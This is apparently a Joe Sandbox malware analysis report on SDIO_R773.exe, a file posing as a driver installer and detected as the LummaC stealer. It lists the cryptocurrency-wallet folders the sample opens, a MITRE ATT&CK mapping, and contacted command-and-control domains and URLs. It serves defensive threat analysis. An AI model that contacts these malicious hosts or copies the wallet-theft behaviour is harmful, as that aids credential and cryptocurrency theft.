Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\SDIO_R773.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN			Jump to behavior
Source: C:\Users\user\Desktop\SDIO_R773.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN			Jump to behavior

Source: Yara match	File source: 00000000.00000003.1985877415.0000000000D74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SDIO_R773.exe PID: 7528, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SDIO_R773.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	221 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Peripheral Device Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SDIO_R773.exe	6%	Virustotal		Browse
SDIO_R773.exe	5%	ReversingLabs

Source	Detection	Scanner	Label
nuttyshopr.biz	100%	Avira URL Cloud	malware
http://www.snappy-driver-installer.org/downloads/SDIO_Update.torrenthttp://www.snappy-driver-install	0%	Avira URL Cloud	safe
spookycappy.biz	100%	Avira URL Cloud	malware
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com:443/cd/0/get/Ch9Eke8i0BLC3-DtINknVGtn	0%	Avira URL Cloud	safe
https://sputnik-1985.com/apiQ	100%	Avira URL Cloud	malware
https://sputnik-1985.com:443/api	100%	Avira URL Cloud	malware
https://status.dropbox.com	0%	Avira URL Cloud	safe
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/dE	0%	Avira URL Cloud	safe
https://sputnik-1985.com/apiW	100%	Avira URL Cloud	malware
fraggielek.biz	100%	Avira URL Cloud	malware
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/	0%	Avira URL Cloud	safe
littlenotii.biz	100%	Avira URL Cloud	malware
https://sputnik-1985.com/apii	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
edge-block-www-env.dropbox-dns.com	162.125.66.15	true	false	high
www-env.dropbox-dns.com	162.125.66.18	true	false	high
sputnik-1985.com	104.21.64.1	true	false	high
littlenotii.biz	unknown	unknown	true	unknown
fraggielek.biz	unknown	unknown	true	unknown
nuttyshopr.biz	unknown	unknown	true	unknown
grandiouseziu.biz	unknown	unknown	true	unknown
marketlumpe.biz	unknown	unknown	true	unknown
spookycappy.biz	unknown	unknown	true	unknown
truculengisau.biz	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high
uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com	unknown	unknown	true	unknown
punishzement.biz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
spookycappy.biz	true	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900	false		high
nuttyshopr.biz	true	Avira URL Cloud: malware	unknown
fraggielek.biz	true	Avira URL Cloud: malware	unknown
littlenotii.biz	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	SDIO_R773.exe	false		high
https://duckduckgo.com/ac/?q=	SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/dE	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.login.yahoo.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steambroadcast-test.akamaized	SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	SDIO_R773.exe	false		high
https://login.yahoo.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://status.dropbox.com	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/playlist/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onedrive.live.com/picker	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.co	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.snappy-driver-installer.org/downloads/SDIO_Update.torrenthttp://www.snappy-driver-install	SDIO_R773.exe	false	Avira URL Cloud: safe	unknown
https://dropbox.com/v	SDIO_R773.exe, 00000000.00000002.2067904046.0000000000D98000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.2060769006.0000000000D97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cevcsca2021.crl.certum.pl/cevcsca2021.crl0w	SDIO_R773.exe	false		high
https://www.ecosia.org/newtab/	SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/metaserver/static/css/error.css	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2069109357.000000000488B000.00000004.00000800.00020000.00000000.sdmp, NOUBJXTSUL2YOW34.exe.0.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.sandbox.google.com/document/fsip/	SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	SDIO_R773.exe, 00000000.00000003.1830640311.0000000004808000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl-web.dropbox.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://app.hellofax.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cfl.dropboxstatic.com/static/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctsca2021.crl0o	SDIO_R773.exe	false		high
https://www.hellofax.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com:443/cd/0/get/Ch9Eke8i0BLC3-DtINknVGtn	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://instructorledlearning.dropboxbusiness.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=Eq36AUaEgab8&l=en	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://a.sprig.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com05	SDIO_R773.exe	false		high
http://x1.c.lencr.org/0	SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SDIO_R773.exe, 00000000.00000003.1969345473.0000000004817000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com02	SDIO_R773.exe	false		high
http://subca.ocsp-certum.com01	SDIO_R773.exe	false		high
http://repository.certum.pl/ctnca2.cer09	SDIO_R773.exe	false		high
https://www.dropbox.com/static/api/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com:443/api	SDIO_R773.exe, 00000000.00000003.1958629667.00000000047D9000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1958490684.00000000047D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic	SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/workshop/	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.steampowered.com/	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	SDIO_R773.exe, 00000000.00000003.1970370060.00000000048F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/legal/	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docsend.com/	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/apiQ	SDIO_R773.exe, 00000000.00000003.2005003653.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067744653.0000000000D85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SDIO_R773.exe, 00000000.00000003.1828364146.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828478949.000000000481E000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1828082972.0000000004821000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sputnik-1985.com/apiW	SDIO_R773.exe, 00000000.00000003.1958490684.00000000047DF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://uca3ce58b2740dd4c68b9a7532f7.dl.dropboxusercontent.com/	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.certum.pl/CPS0	SDIO_R773.exe	false		high
https://sputnik-1985.com/apii	SDIO_R773.exe, 00000000.00000003.2005093546.00000000047DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
http://127.0.0.1:27060	SDIO_R773.exe, 00000000.00000002.2066797770.0000000000D06000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/js	SDIO_R773.exe, 00000000.00000003.2060690165.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/document/fsip/	SDIO_R773.exe, 00000000.00000003.2060608569.000000000488D000.00000004.00000800.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/tzw461qf44namwoprtqi1/channels424_banner.jpg?rlkey=ggwr95slh92f24jnfj	SDIO_R773.exe, 00000000.00000002.2067570431.0000000000D23000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.steampowered.com/	SDIO_R773.exe, 00000000.00000003.1816198825.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/mobile	SDIO_R773.exe, 00000000.00000003.1816164799.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, SDIO_R773.exe, 00000000.00000003.1810021727.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.125.66.18	www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.21.64.1	sputnik-1985.com	United States	13335	CLOUDFLARENETUS	false
162.125.66.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589146
Start date and time:	2025-01-11 11:55:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SDIO_R773.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/2@12/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
